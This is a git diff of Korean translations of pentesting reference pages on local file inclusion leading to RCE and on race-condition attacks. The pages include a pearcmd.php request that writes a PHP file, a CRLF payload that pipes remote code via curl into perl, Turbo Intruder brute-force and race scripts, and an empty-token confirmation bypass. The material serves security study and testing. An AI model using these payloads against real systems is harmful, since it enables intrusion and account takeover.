-이 [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php filters to generate arbitrary content**을 출력으로 사용할 수 있음을 설명합니다. 즉 include에 사용할 **generate arbitrary php code**를 파일에 **without needing to write** 하지 않고 생성할 수 있다는 뜻입니다.
+This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)은 **php filters를 사용해 임의의 콘텐츠를 출력**할 수 있음을 설명합니다. 즉, 파일로 **작성하지 않고도** include에 사용할 **임의의 php code를 생성**할 수 있다는 뜻입니다.
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
-### Via segmentation fault
+### segmentation fault를 통한 방법
-**Upload**한 파일이 `/tmp`에 **temporary**로 저장된 다음, 같은 **request**에서 **segmentation fault**를 유발하면 해당 **temporary file won't be deleted** 상태가 되어 파일을 찾을 수 있습니다.
+**파일을 업로드**하면 `/tmp`에 **임시**로 저장되고, 같은 **요청에서** **segmentation fault**를 유발하면 **임시 파일이 삭제되지 않아** 해당 파일을 찾아볼 수 있습니다.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
-### Via Nginx temp file storage
+### Nginx 임시 파일 저장을 통한 방법
-만약 **Local File Inclusion**을 찾았고 **Nginx**가 PHP 앞에서 동작하고 있다면 다음 기법으로 RCE를 얻을 수 있습니다:
+Local File Inclusion을 발견했고 **Nginx**가 PHP 앞에서 동작 중이라면, 다음 기법으로 **RCE**를 얻을 수 있습니다:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
-### Via PHP_SESSION_UPLOAD_PROGRESS
+### PHP_SESSION_UPLOAD_PROGRESS를 통한 방법
-세션이 없고 `session.auto_start`가 `Off`인 경우에도 **Local File Inclusion**을 찾았다면, **multipart POST** 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 자동으로 **enable the session for you** 합니다. 이를 악용해 RCE를 얻을 수 있습니다:
+Local File Inclusion을 발견했지만 **세션이 없고** `session.auto_start`가 `Off`인 경우에도, multipart POST 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 포함하면 PHP가 **세션을 활성화**합니다. 이를 악용해 **RCE**를 얻을 수 있습니다:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
-### Via temp file uploads in Windows
+### Windows의 임시 파일 업로드를 통한 방법
-**Local File Inclusion**을 찾았고 서버가 **Windows**에서 동작한다면 temp file upload 관련으로 RCE를 얻을 수 있습니다:
+Local File Inclusion을 발견했고 서버가 **Windows**에서 실행 중이라면 RCE를 얻을 가능성이 있습니다:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
-### Via `pearcmd.php` + URL args
+### `pearcmd.php` + URL args를 통한 방법
-As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), 스크립트 `/usr/local/lib/phppearcmd.php`는 php docker images에서 기본으로 존재합니다. 또한 URL을 통해 스크립트에 인수를 전달할 수 있는데, URL 파라미터에 `=`가 없으면 그 값이 인수로 처리된다고 되어 있습니다. 또한 [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) 및 [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)도 참고하세요.
+As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), `/usr/local/lib/phppearcmd.php` 스크립트는 php docker images에 기본적으로 존재합니다. 또한 URL 파라미터에 `=`가 없으면 그 값을 인수로 사용하도록 되어 있어, URL을 통해 스크립트에 인수를 전달할 수 있습니다. 또한 [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)와 [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)도 참고하세요.
-The following request create a file in `/tmp/hello.php` with the content `=phpinfo()?>`:
+다음 요청은 `/tmp/hello.php`에 `=phpinfo()?>` 내용을 가진 파일을 생성합니다:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
-다음은 CRLF vuln을 악용하여 RCE를 얻는 예시입니다 (출처: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
+다음은 CRLF vuln을 악용해 RCE를 획득하는 예입니다 (출처: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
-### phpinfo() (file_uploads = on)을 통해
+### phpinfo()를 통한 방법 (file_uploads = on)
-만약 **Local File Inclusion**을 찾았고 file_uploads = on으로 **phpinfo()**를 노출하는 파일이 있다면 RCE를 얻을 수 있습니다:
+만약 **Local File Inclusion**를 찾았고 **phpinfo()**를 노출하는 파일에서 file_uploads = on이라면 RCE를 얻을 수 있습니다:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
-### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure를 통해
+### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure를 통한 방법
-만약 **Local File Inclusion**을 찾았고 임시 파일의 경로를 **exfiltrate**할 수 있지만 **server**가 포함할 파일에 PHP 마크가 있는지 **검사**한다면, 이 **Race Condition**으로 그 검사를 **우회**해볼 수 있습니다:
+만약 **Local File Inclusion**를 찾았고 임시 파일의 경로를 **exfiltrate**할 수 있지만 **서버**가 포함할 파일에 PHP 마커가 있는지 **검사**하고 있다면, 이 **Race Condition**을 이용해 그 **검사**를 **bypass**할 수 있습니다:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
-### eternal waiting + bruteforce를 통해
+### eternal waiting + bruteforce를 통한 방법
-만약 LFI를 악용해 **임시 파일을 업로드**하고 서버가 PHP 실행을 **hang**하게 만들 수 있다면, 몇 시간 동안 **brute force로 파일명**을 시도해 임시 파일을 찾을 수 있습니다:
+만약 LFI를 악용해 임시 파일을 **upload temporary files**하고 서버가 PHP 실행을 **hang**하게 만들 수 있다면, 몇 시간 동안 파일명을 **brute force**하여 임시 파일을 찾을 수 있습니다:
{{#ref}}
@@ -651,15 +652,15 @@ lfi2rce-via-eternal-waiting.md
### Fatal Error로
-다음 파일들 중 어느 하나를 include하면 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (해당 오류를 발생시키려면 동일한 파일을 2번 include해야 합니다).
+만약 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` 중 어떤 파일이든 포함(include)하면 됩니다. (이 오류를 발생시키려면 동일한 파일을 2번 포함해야 합니다).
-**이게 어떻게 유용한지는 모르겠지만 가능성은 있습니다.**\
-_심지어 PHP Fatal Error를 발생시켜도 업로드된 PHP 임시 파일은 삭제됩니다._
+**이게 어떻게 유용한지 잘 모르겠지만 가능성은 있습니다.**\
+_설령 PHP Fatal Error를 발생시켜도, 업로드된 PHP 임시 파일들은 삭제됩니다._
-## 참고자료
+## References
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md
index 2e609c6d6..f7bb49069 100644
--- a/src/pentesting-web/race-condition.md
+++ b/src/pentesting-web/race-condition.md
@@ -3,56 +3,56 @@
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
-> 이 기술을 깊이 이해하려면 원문 리포트 [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)를 확인하세요.
+> 이 기술을 깊이 이해하려면 원문 리포트(https://portswigger.net/research/smashing-the-state-machine)를 확인하세요
-## Race Condition 공격 고도화
+## Race Condition 공격 강화
-주요 장애물은 여러 요청이 거의 동시에 처리되도록 만드는 것입니다. 처리 시간 차이가 매우 작아야 하며—이상적으로는 1ms 미만이어야 합니다.
+race conditions를 이용하는 주요 난관은 여러 요청이 동시에 처리되도록 보장하는 것이다. **처리 시간 차이가 매우 작아야 한다 — 이상적으로는 1ms 미만**.
-요청 동기화를 위한 몇 가지 기법은 다음과 같습니다:
+다음은 요청 동기화를 위한 몇 가지 기법이다:
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
-- **HTTP/2**: 단일 TCP 연결로 두 요청을 전송할 수 있어 네트워크 지터의 영향을 줄입니다. 그러나 서버 측 변동 때문에 두 요청만으로는 일관된 race condition 익스플로잇을 보장하지 못할 수 있습니다.
-- **HTTP/1.1 'Last-Byte Sync'**: 20~30개의 요청의 대부분을 미리 전송하고 작은 조각을 보류한 다음, 그 조각들을 함께 전송해 서버에 동시에 도착하도록 만드는 방식입니다.
+- **HTTP/2**: 단일 TCP 연결에서 두 요청을 보낼 수 있어 네트워크 지터 영향을 줄인다. 하지만 서버 측 변동으로 인해 두 요청만으로는 일관된 race condition 익스플로잇을 보장하지 못할 수 있다.
+- **HTTP/1.1 'Last-Byte Sync'**: 20~30개의 요청에서 대부분을 미리 전송하고 작은 조각만 남겨뒀다가 이를 함께 전송해 서버에 동시에 도착시키는 방식이다.
**Preparation for Last-Byte Sync** involves:
-1. 스트림을 종료하지 않고 마지막 바이트를 제외한 헤더와 바디 데이터를 전송합니다.
-2. 초기 전송 후 100ms 동안 대기합니다.
-3. 최종 프레임 배치를 위해 TCP_NODELAY를 비활성화하여 Nagle's algorithm을 활용합니다.
-4. 연결을 워밍업하기 위해 ping을 수행합니다.
+1. 스트림을 종료하지 않고 마지막 바이트를 제외한 헤더와 바디 데이터를 전송한다.
+2. 초기 전송 후 100ms 동안 대기한다.
+3. TCP_NODELAY를 비활성화해 Nagle's algorithm을 이용해 마지막 프레임을 배치 처리한다.
+4. 연결을 워밍업하기 위해 ping을 보낸다.
-보류한 프레임을 이후에 전송하면 단일 패킷으로 도착하는 것을 Wireshark로 확인할 수 있어야 합니다. 이 방법은 일반적으로 RC 공격에 사용되지 않는 static files에는 적용되지 않습니다.
+이후 보류된 프레임을 전송하면 이들이 단일 패킷으로 도착해야 하며, 이는 Wireshark로 확인할 수 있다. 이 방법은 일반적으로 RC 공격에 포함되지 않는 static files에는 적용되지 않는다.
-### 서버 아키텍처에 맞게 조정
+### 서버 아키텍처에 적응하기
-대상 아키텍처를 이해하는 것이 중요합니다. 프론트엔드 서버는 요청을 다르게 라우팅할 수 있어 타이밍에 영향을 줄 수 있습니다. 중요하지 않은 요청으로 사전 서버 측 연결 워밍업을 수행하면 요청 타이밍을 정규화할 수 있습니다.
+타깃의 아키텍처를 이해하는 것이 중요하다. 프론트엔드 서버는 요청을 다르게 라우팅할 수 있어 타이밍에 영향을 준다. 중요하지 않은 요청으로 서버 측 연결을 미리 워밍업하면 요청 타이밍을 정규화할 수 있다.
#### 세션 기반 잠금 처리
-PHP의 session handler와 같은 프레임워크는 세션별로 요청을 직렬화하여 취약점을 가릴 수 있습니다. 각 요청에 대해 서로 다른 session 토큰을 사용하면 이 문제를 회피할 수 있습니다.
+PHP의 session handler와 같은 프레임워크는 세션 단위로 요청을 직렬화해 취약점을 가릴 수 있다. 각 요청에 서로 다른 세션 토큰을 사용하면 이 문제를 회피할 수 있다.
-#### Rate 또는 자원 제한 극복
+#### Rate 또는 리소스 제한 극복
-연결 워밍업이 효과적이지 않다면, 더미 요청을 대량으로 보내 웹 서버의 rate 또는 자원 제한 지연을 의도적으로 유발하면 서버 측 지연이 생겨 single-packet attack에 유리해질 수 있습니다.
+연결 워밍업이 효과가 없다면, 더미 요청을 대량으로 보내 웹 서버의 rate 또는 리소스 제한으로 인한 지연을 의도적으로 유발해 서버 측 지연을 만들어 single-packet attack을 용이하게 할 수 있다.
-## 공격 예시
+## Attack Examples
-- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: 요청을 **Turbo intruder**로 보낼 수 있습니다 (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`). 요청에서 브루트포스할 값인 **`%s`**를 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`처럼 변경한 다음 드롭다운에서 **`examples/race-single-packer-attack.py`**를 선택하세요:
+- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: 요청을 Turbo Intruder로 보낼 수 있다 (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`). 요청에서 brute force하려는 값을 **`%s`**로 바꿀 수 있다. 예: `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` 그런 다음 드롭다운에서 **`examples/race-single-packer-attack.py`**를 선택한다:
-값을 **다르게 전송하려는 경우**, 클립보드에서 워드리스트를 사용하는 다음 코드로 수정할 수 있습니다:
+서로 다른 값을 **전송하려는** 경우, 클립보드의 wordlist를 사용하는 다음 코드로 수정할 수 있다:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
-> 웹이 HTTP2를 지원하지 않고(오직 HTTP1.1만 지원하는 경우) `Engine.BURP2` 대신 `Engine.THREADED` 또는 `Engine.BURP`를 사용하세요.
+> 웹이 HTTP2를 지원하지 않고 HTTP1.1만 지원하는 경우 `Engine.THREADED` 또는 `Engine.BURP`를 `Engine.BURP2` 대신 사용하세요.
-- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: 만약 RCE를 트리거하기 위해 1개의 엔드포인트에 요청을 보내고 이어서 다른 여러 엔드포인트에 요청을 보내야 하는 경우, `race-single-packet-attack.py` 스크립트를 다음과 같이 변경할 수 있습니다:
+- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: RCE를 트리거하기 위해 먼저 1개의 endpoint에 요청을 보내고 이후 다른 여러 endpoint로 요청을 보내야 하는 경우, `race-single-packet-attack.py` 스크립트를 다음과 같이 변경할 수 있습니다:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@@ -84,15 +84,15 @@ engine.queue(confirmationReq, gate=currentAttempt)
engine.openGate(currentAttempt)
```
- 또한 Burp Suite의 **Repeater**에서 새로운 '**Send group in parallel**' 옵션을 통해 사용할 수 있습니다.
-- **limit-overrun**의 경우 그룹에 **같은 request를 50번** 추가하면 됩니다.
-- **connection warming**을 위해 그룹의 **시작 부분**에 웹 서버의 비정적 부분에 대한 몇 개의 **requests**를 **추가**할 수 있습니다.
-- 2 substates 단계에서 한 **request**를 처리한 다음 다른 **request**를 처리하는 과정 사이를 **지연**시키려면, 두 **request** 사이에 추가 **requests**를 넣을 수 있습니다.
-- **multi-endpoint** RC의 경우, **hidden state**로 가는 **request**를 먼저 보내고 그 직후에 **50 requests**를 보내서 **hidden state**를 악용할 수 있습니다.
+- **limit-overrun**의 경우 그룹에 **same request 50 times**만 추가하면 됩니다.
+- **connection warming**의 경우 그룹의 **beginning**에 웹 서버의 비정적(non static) 부분으로의 일부 **requests**를 **add**할 수 있습니다.
+- 2 substates 단계에서 한 요청을 처리한 다음 다른 요청을 처리하기까지의 사이를 **delaying**하려면, 두 요청 사이에 **add extra requests between**를 추가할 수 있습니다.
+- **multi-endpoint** RC의 경우 **goes to the hidden state**하는 **request**를 먼저 보내고 바로 뒤이어 **50 requests**를 보내어 **exploits the hidden state**할 수 있습니다.
-- **Automated python script**: 이 스크립트의 목표는 사용자의 이메일을 변경하면서 새로운 이메일의 검증 토큰이 마지막 이메일로 도착할 때까지 지속적으로 확인하는 것입니다 (코드 상에서 이메일을 수정할 수는 있지만 검증이 이전 이메일로 전송되는 RC가 관찰되었기 때문이며, 이는 이메일을 가리키는 변수가 이미 첫 번째 이메일로 채워져 있었기 때문입니다).\
-수신된 이메일에서 "objetivo"라는 단어가 발견되면 변경된 이메일의 검증 토큰을 받은 것으로 판단하고 공격을 종료합니다.
+- **Automated python script**: 이 스크립트의 목적은 사용자의 이메일을 변경하고 새로운 이메일의 verification token이 마지막 이메일로 도착할 때까지 지속적으로 검증을 반복하는 것입니다 (코드상에서 이메일을 변경할 수 있지만 verification이 기존 이메일로 전송되는 RC가 발생했는데, 이는 이메일을 가리키는 변수가 이미 첫 번째 이메일로 채워져 있었기 때문입니다).\
+수신된 이메일에서 "objetivo"라는 단어가 발견되면 변경된 이메일의 verification token을 받은 것으로 간주하고 공격을 종료합니다.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
@@ -217,21 +217,28 @@ h2_conn.close_connection()
response = requests.get(url, verify=False)
```
+#### Turbo Intruder: 엔진 및 게이팅 노트
+
+- 엔진 선택: HTTP/2 대상에서는 `Engine.BURP2`를 사용해 single‑packet attack을 트리거하세요; HTTP/1.1 last‑byte sync에는 `Engine.THREADED` 또는 `Engine.BURP`로 폴백하세요.
+- `gate`/`openGate`: `gate='race1'`(또는 시도별 gates)로 여러 복사본을 큐에 넣으면 각 요청의 tail을 보류합니다; `openGate('race1')`는 모든 tail을 함께 플러시하여 거의 동시에 도착하게 합니다.
+- Diagnostics: Turbo Intruder에서 음수 타임스탬프는 요청이 완전히 전송되기 전에 서버가 응답했음을 나타내며, 이는 겹침(overlap)을 증명합니다. 이는 실제 races에서 예상되는 현상입니다.
+- 연결 워밍업: 타이밍을 안정시키기 위해 먼저 ping 또는 몇 개의 무해한 요청을 보내세요; 마지막 프레임의 배칭을 유도하려면 선택적으로 `TCP_NODELAY`를 비활성화하세요.
+
+
### Single Packet Attack 개선
-원래 연구에서는 이 공격이 1,500 bytes의 제한이 있다고 설명합니다. 하지만 [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)에서는 IP layer fragmentation을 사용해 single packet attack의 1,500-byte 제한을 TCP의 **65,535 B window limitation**까지 확장하는 방법(단일 패킷을 여러 IP 패킷으로 분할하고 서로 다른 순서로 전송하여 모든 프래그먼트가 서버에 도달할 때까지 재조립을 방지)이 설명되어 있습니다. 이 기법을 통해 연구자는 약 166ms 만에 10,000개의 요청을 전송할 수 있었습니다.
+원래 연구에서는 이 공격이 1,500 바이트의 제한이 있다고 설명했습니다. 그러나 [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)에서는 IP 레이어 조각화(IP layer fragmentation)를 사용해 single packet attack의 1,500바이트 제한을 TCP의 **65,535 B 윈도우 제한**까지 확장하는 방법(단일 패킷을 여러 IP 패킷으로 분할하고 서로 다른 순서로 전송하여 모든 조각이 서버에 도달할 때까지 재조립을 방지)을 설명했습니다. 이 기법으로 연구자는 약 166ms에 10,000개의 요청을 전송할 수 있었습니다.
-이 개선으로 수백/수천 개의 패킷이 동시에 도착해야 하는 RC 공격의 신뢰성이 높아지지만, 소프트웨어적 한계도 있을 수 있습니다. Apache, Nginx and Go 같은 일부 인기 있는 HTTP 서버는 `SETTINGS_MAX_CONCURRENT_STREAMS`를 각각 100, 128, 250으로 엄격하게 설정합니다. 반면 NodeJS와 nghttp2 등은 제한이 없습니다.
-이것은 기본적으로 Apache가 단일 TCP 연결에서 100개의 HTTP 연결만 고려한다는 의미이며(이 RC 공격을 제한함) 결국 공격의 효과를 떨어뜨릴 수 있습니다.
+이 개선으로 수백/수천 개의 패킷이 동시에 도착해야 하는 RC에서 공격의 신뢰성이 올라가지만, 소프트웨어적 제한도 있을 수 있습니다. Apache, Nginx, Go 같은 일부 인기 HTTP 서버는 `SETTINGS_MAX_CONCURRENT_STREAMS` 값을 각각 100, 128, 250으로 엄격히 설정합니다. 반면 NodeJS와 nghttp2는 이를 무제한으로 둡니다. 즉, Apache는 단일 TCP 연결에서 100개의 HTTP 연결만 고려하므로(이 RC 공격을 제한함) 주의해야 합니다.
-이 기법을 사용한 예제는 레포 [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)에서 확인할 수 있습니다.
+이 기법을 사용한 몇 가지 예제는 리포지토리 [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)에서 확인할 수 있습니다.
## Raw BF
-이전 연구 이전에는 RC를 유발하기 위해 패킷을 가능한 한 빠르게 전송하려고 시도한 몇 가지 페이로드가 사용되었습니다.
+이전 연구 이전에는 가능한 한 빠르게 패킷을 보내 RC를 유발하려는 다음과 같은 페이로드들이 사용되었습니다.
- **Repeater:** 이전 섹션의 예제를 확인하세요.
-- **Intruder**: **request**를 **Intruder**로 전송하고, **Options menu**에서 **number of threads**를 **30**으로 설정한 뒤, 페이로드로 **Null payloads**를 선택하고 **30**을 생성합니다.
+- **Intruder**: **request**를 **Intruder**로 보내고, **Options** 메뉴에서 **number of threads**를 **30**으로 설정한 뒤, 페이로드로 **Null payloads**를 선택하고 **30**개를 생성하세요.
- **Turbo Intruder**
```python
def queueRequests(target, wordlists):
@@ -279,75 +286,75 @@ print(results)
asyncio.run(main())
```
-## **RC Methodology**
+## **RC 방법론**
### Limit-overrun / TOCTOU
-This is the most basic type of race condition where **취약점** that **appear** in places that **limit the number of times you can perform an action**. Like using the same discount code in a web store several times. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) or in [**this bug**](https://hackerone.com/reports/759247)**.**
+이것은 가장 기본적인 유형의 race condition으로, 특정 동작을 수행할 수 있는 횟수를 제한하는 곳에서 **vulnerabilities**가 **발생**하는 경우입니다. 예를 들어 웹 스토어에서 동일한 할인 코드를 여러 번 사용하는 경우가 있습니다. 아주 쉬운 예는 [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) 또는 [**this bug**](https://hackerone.com/reports/759247)**.**
-There are many variations of this kind of attack, including:
+이 유형의 공격에는 여러 변형이 있습니다. 예를 들면:
-- 기프트 카드를 여러 번 사용하는 경우
-- 제품을 여러 번 평가하는 경우
-- 계좌 잔액을 초과하여 현금을 인출하거나 이체하는 경우
-- 단일 CAPTCHA 솔루션을 재사용하는 경우
-- 브루트포스 방지 rate limit을 우회하는 경우
+- 기프트 카드를 여러 번 사용하는 행위
+- 제품을 여러 번 평가하기
+- 계좌 잔액을 초과하여 현금을 인출하거나 이체하기
+- 단일 CAPTCHA 응답 재사용
+- anti-brute-force rate limit 우회
-### **Hidden substates**
+### **숨겨진 하위 상태**
-Exploiting complex race conditions often involves taking advantage of brief opportunities to interact with hidden or **의도치 않은 machine substates**. Here’s how to approach this:
+복잡한 race conditions를 악용하려면 숨겨진 또는 **unintended machine substates**와 상호작용할 수 있는 짧은 기회를 이용하는 경우가 많습니다. 접근 방법은 다음과 같습니다:
-1. **Identify Potential Hidden Substates**
-- Start by pinpointing endpoints that modify or interact with critical data, such as user profiles or password reset processes. Focus on:
-- **Storage**: 서버측 영속 데이터를 조작하는 엔드포인트를 클라이언트 측에서 데이터를 처리하는 엔드포인트보다 우선적으로 살펴보세요.
-- **Action**: 기존 데이터를 변경하는 작업을 찾아보세요. 새 데이터를 추가하는 작업보다 exploit 가능한 조건을 만들 가능성이 큽니다.
-- **Keying**: 성공적인 공격은 보통 동일한 식별자(예: username 또는 reset token)에 키가 걸린 작업이 관련됩니다.
-2. **Conduct Initial Probing**
-- 식별한 엔드포인트에 대해 race condition 공격을 시도하여 기대한 결과와의 편차를 관찰하세요. 예상치 못한 응답이나 애플리케이션 동작의 변화는 취약점을 나타낼 수 있습니다.
-3. **Demonstrate the Vulnerability**
-- 취약점을 악용하는 데 필요한 최소한의 요청 수로 공격을 축소하세요. 종종 필요한 것은 단 두 번의 요청뿐입니다. 이 단계는 정밀한 타이밍이 요구되므로 여러 번의 시도나 자동화가 필요할 수 있습니다.
+1. **잠재적 숨겨진 하위 상태 식별**
+- 사용자 프로필이나 비밀번호 재설정(password reset) 과정처럼 중요한 데이터를 수정하거나 상호작용하는 endpoints를 먼저 찾아보세요. 중점은:
+- **Storage**: 클라이언트 측에서 데이터를 처리하는 엔드포인트보다 서버 측 영속 데이터(server-side persistent data)를 조작하는 엔드포인트를 우선하세요.
+- **Action**: 기존 데이터를 변경하는 작업을 찾으세요. 새 데이터를 추가하는 작업보다 취약 조건을 만들 가능성이 큽니다.
+- **Keying**: 성공적인 공격은 보통 동일한 식별자(예: username 또는 reset token)를 키로 사용하는 작업에서 발생합니다.
+2. **초기 탐색 수행**
+- 식별한 엔드포인트를 race condition 공격으로 테스트하고 예상 결과와의 차이를 관찰하세요. 예상치 못한 응답이나 애플리케이션 동작의 변화는 vulnerability를 시사할 수 있습니다.
+3. **취약점 입증**
+- 취약점을 exploit하는 데 필요한 최소 요청 수(종종 두 건)로 공격을 좁히세요. 이 단계는 정밀한 타이밍이 필요하므로 여러 번 시도하거나 자동화가 필요할 수 있습니다.
-### Time Sensitive Attacks
+### 시간 민감 공격
-요청 타이밍의 정밀성은 취약점을 드러낼 수 있습니다. 특히 타임스탬프와 같이 예측 가능한 방식이 보안 토큰에 사용될 때 그렇습니다. 예를 들어, 타임스탬프에 기반한 password reset tokens 생성을 사용하는 경우 동시 요청에 대해 동일한 토큰이 만들어질 수 있습니다.
+요청 타이밍의 정밀성은 취약점을 드러낼 수 있으며, 특히 timestamps 같은 예측 가능한 방식이 security tokens에 사용될 때 그렇습니다. 예를 들어 타임스탬프 기반으로 password reset tokens를 생성하면 동시 요청에 대해 동일한 토큰이 발급될 수 있습니다.
-**To Exploit:**
+**악용 방법:**
-- 단일 패킷 공격과 같은 정밀한 타이밍을 사용해 동시 password reset 요청을 생성하세요. 동일한 토큰이 반환되면 취약점이 있음을 의미합니다.
+- single packet attack 같은 정밀한 타이밍을 사용해 동시 password reset 요청을 하세요. 일치하는 토큰은 취약점을 의미합니다.
-**Example:**
+**예시:**
-- 동시에 두 개의 password reset tokens를 요청하여 비교하세요. 토큰이 일치하면 token 생성에 결함이 있음을 시사합니다.
+- 동시에 두 개의 password reset 토큰을 요청하고 비교하세요. 토큰이 일치하면 토큰 생성에 결함이 있음을 시사합니다.
-이것을 시도하려면 [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)를 확인하세요.
+**이 실습을 해보려면** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **을 확인하세요.**
-## Hidden substates case studies
+## 숨겨진 하위 상태 사례 연구
-### Pay & add an Item
+### 결제 후 아이템 추가
-이 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)를 확인해 상점에서 결제하고 추가 항목을 결제하지 않고 얻는 방법을 살펴보세요.
+이 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) 을 확인해 상점에서 결제한 뒤 추가 항목을 결제하지 않고 얻는 방법을 확인하세요.
-### Confirm other emails
+### 다른 이메일 인증
-아이디어는 **이메일 주소를 verify하고 동시에 다른 주소로 변경**하여 플랫폼이 변경된 새 주소를 실제로 인증하는지 확인하는 것입니다.
+아이디어는 **이메일 주소를 verify하고 동시에 다른 이메일로 변경**하여 플랫폼이 변경된 새 이메일을 실제로 인증하는지 확인하는 것입니다.
-### Change email to 2 emails addresses Cookie based
+### 쿠키 기반으로 이메일을 두 주소로 변경
-According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**.
+이 [**research**](https://portswigger.net/research/smashing-the-state-machine)에 따르면 Gitlab은 이 방식으로 takeover에 취약했는데, 한 이메일의 **email verification token**을 다른 이메일로 **send**할 수 있었기 때문입니다.
-이것을 시도하려면 [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)를 확인하세요.
+**이를 시도하려면** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **을 확인하세요.**
-### Hidden Database states / Confirmation Bypass
+### 숨겨진 데이터베이스 상태 / 확인 우회
-If **2 different writes** are used to **add** **information** inside a **database**, there is a small portion of time where **only the first data has been written** inside the database. For example, when creating a user the **username** and **password** might be **written** and **then the token** to confirm the newly created account is written. This means that for a small time the **token to confirm an account is null**.
+데이터베이스에 정보를 추가하기 위해 **2 different writes**가 사용되는 경우, 데이터베이스에 **첫 번째 데이터만 기록된** 짧은 시간이 존재할 수 있습니다. 예를 들어 사용자 생성 시 **username**과 **password**가 먼저 **written**되고, 새 계정을 확인하는 **token**이 그 다음에 기록될 수 있습니다. 이 때문에 잠깐 동안 **계정 확인 토큰이 null**인 상태가 됩니다.
-따라서 **계정을 등록하고 빈 token으로 여러 요청을 전송하는 것**(`token=` or `token[]=` or any other variation`)으로 계정을 즉시 확인하려고 하면, 이메일을 제어하지 못하는 계정을 **확인(confirm an account)** 할 수 있게 될 가능성이 있습니다.
+따라서 계정을 등록한 후 빈 토큰(`token=` 또는 `token[]=` 등)으로 여러 요청을 보내 즉시 계정을 확인하면, 본인이 제어하지 않는 이메일의 계정도 확인할 수 있게 될 수 있습니다.
